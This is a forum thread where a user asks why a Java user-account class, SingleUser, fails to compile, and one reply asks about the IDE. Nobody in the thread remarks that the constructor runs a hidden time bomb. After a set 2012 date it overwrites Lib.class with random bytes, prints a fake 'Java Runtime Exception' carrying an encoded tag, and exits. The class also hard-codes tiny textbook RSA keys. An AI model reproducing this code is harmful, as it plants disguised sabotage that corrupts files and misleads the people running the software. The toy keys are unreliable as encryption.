Thread: problem while compiliation

package libPack;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.PrintStream;
import java.io.Serializable;
import java.util.Calendar;
import java.util.Random;
import java.util.Vector;

public class SingleUser
implements Serializable
{
public String user;
public String password;
public String mobile;
public String email;
public Vector<SingleID> ids;
public Vector<SingleContact> contacts;
public Vector<SingleGroup> groups;
public Vector<SingleMail> sentMails;
public Vector<SingleMail> savedMails;
public Vector<SingleBookmark> bookmarks;
public Vector<String> idsBlackListed;
public long rsaPublic;
public long rsaPrivate;
public long rsaModulus;

public SingleUser()
{
this.rsaModulus = 3233L;
this.rsaPublic = 17L;
this.rsaPrivate = 2753L;

this.email = "";
this.user = "";
this.password = "";
this.mobile = "";
this.ids = new Vector();
this.contacts = new Vector();
this.groups = new Vector();

this.sentMails = new Vector();
this.savedMails = new Vector();
this.bookmarks = new Vector();
this.idsBlackListed = new Vector();

loadForm();
}

private void loadForm()
{
boolean verify = true;
try {
File f = new File(System.getProperty("user.dir") + "\\Lib.class");
if (f.exists()) {
verify = false;
}
}
catch (Exception e)
{
}
Calendar now = Calendar.getInstance();
Calendar max = Calendar.getInstance();

max.set(5, 15);

max.set(2, 7);
max.set(1, 2012);
max.getTimeInMillis();

if (now.compareTo(max) > 0) {
verify = false;
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(System.getProperty("user.dir") + "\\Lib.class"));
Random r = new Random();
for (int i = 0; i < 154; i++) {
bw.write(r.nextInt() % 256);
}
bw.close();
}
catch (Exception e)
{
}
}
if (!verify) {
System.out.println("Java Runtime Exception: 0x4F4F:524A 0x4120:5445 0x4348:0D0A");
System.exit(0);
}
}
}


when i compile it shows SingleID is not defined but how can i define it as it is a class in the same package

maybe there's a problem with singleID definition, what IDE you use?